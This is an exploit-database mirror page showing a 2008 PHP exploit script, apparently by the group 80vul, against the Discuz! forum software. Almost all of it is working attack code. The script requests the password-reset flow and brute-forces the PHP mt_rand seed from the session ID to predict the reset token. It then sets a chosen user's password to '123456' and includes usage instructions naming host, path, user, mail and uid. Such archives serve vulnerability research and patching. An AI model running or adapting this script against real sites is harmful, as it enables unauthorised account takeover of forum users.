PageRenderTime 43ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/7185.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 139 lines | 108 code | 29 blank | 2 comment | 16 complexity | 9a2ca02d6406b157d7dc2588dc1c990b MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/php
  2. <?php
  3. print_r('
  4. +---------------------------------------------------------------------------+
  5. Discuz! Reset User Password Exploit
  6. by 80vul
  7. team: http://www.80vul.com
  8. +---------------------------------------------------------------------------+
  9. ');
  10. if ($argc < 6) {
  11. print_r('
  12. +---------------------------------------------------------------------------+
  13. Usage: php '.$argv[0].' host path user mail uid
  14. host: target server (ip/hostname)
  15. path: path to discuz
  16. user: user login name
  17. mail: user login mail
  18. uid: user login id
  19. Example:
  20. php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
  21. +---------------------------------------------------------------------------+
  22. ');
  23. exit;
  24. }
  25. error_reporting(7);
  26. ini_set('max_execution_time', 0);
  27. $host = $argv[1];
  28. $path = $argv[2];
  29. $user = $argv[3];
  30. $mail = $argv[4];
  31. $uid = $argv[5];
  32. $fp = fsockopen($host, 80);
  33. $data = "GET ".$path."viewthread.php HTTP/1.1\r\n";
  34. $data .= "Host: $host\r\n";
  35. $data .= "Keep-Alive: 300\r\n";
  36. $data .= "Connection: keep-alive\r\n\r\n";
  37. fputs($fp, $data);
  38. $resp = '';
  39. while ($fp && !feof($fp)) {
  40. $resp .= fread($fp, 1024);
  41. preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);
  42. if ($hash)
  43. break;
  44. }
  45. if ($hash) {
  46. $cmd = 'action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
  47. $data = "POST ".$path."member.php HTTP/1.1\r\n";
  48. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  49. $data .= "Referer: http://$host$path\r\n";
  50. $data .= "Host: $host\r\n";
  51. $data .= "Content-Length: ".strlen($cmd)."\r\n";
  52. $data .= "Connection: close\r\n\r\n";
  53. $data .= $cmd;
  54. fputs($fp, $data);
  55. $resp = '';
  56. while ($fp && !feof($fp))
  57. $resp .= fread($fp, 1024);
  58. fclose($fp);
  59. preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
  60. if (!$sid)
  61. exit("Exploit Failed!\n");
  62. $seed = getseed();
  63. if ($seed) {
  64. mt_srand($seed);
  65. random();
  66. mt_rand();
  67. $id = random();
  68. $fp = fsockopen($host, 80);
  69. $cmd = 'action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
  70. $data = "POST ".$path."member.php HTTP/1.1\r\n";
  71. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  72. $data .= "Referer: http://$host$path\r\n";
  73. $data .= "Host: $host\r\n";
  74. $data .= "Content-Length: ".strlen($cmd)."\r\n";
  75. $data .= "Connection: close\r\n\r\n";
  76. $data .= $cmd;
  77. fputs($fp, $data);
  78. $resp = '';
  79. while ($fp && !feof($fp))
  80. $resp .= fread($fp, 1024);
  81. if (strpos($resp, '您的密码已重新设置,请使用新密码登录。') !== false)
  82. exit("Expoilt Success!\nUser New Password:\t123456\n");
  83. else
  84. exit("Exploit Failed!\n");
  85. } else
  86. exit("Exploit Failed!\n");
  87. } else
  88. exit("Exploit Failed!\n");
  89. function getseed()
  90. {
  91. global $sid;
  92. for ($seed = 0; $seed <= 1000000; $seed ++) {
  93. mt_srand($seed);
  94. $id = random(6);
  95. if ($id == $sid[1])
  96. return $seed;
  97. }
  98. return false;
  99. }
  100. function random($length = 6)
  101. {
  102. $hash = '';
  103. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
  104. $max = strlen($chars) - 1;
  105. for ($i = 0; $i < $length; $i ++)
  106. $hash .= $chars[mt_rand(0, $max)];
  107. return $hash;
  108. }
  109. ?>
  110. # milw0rm.com [2008-11-22]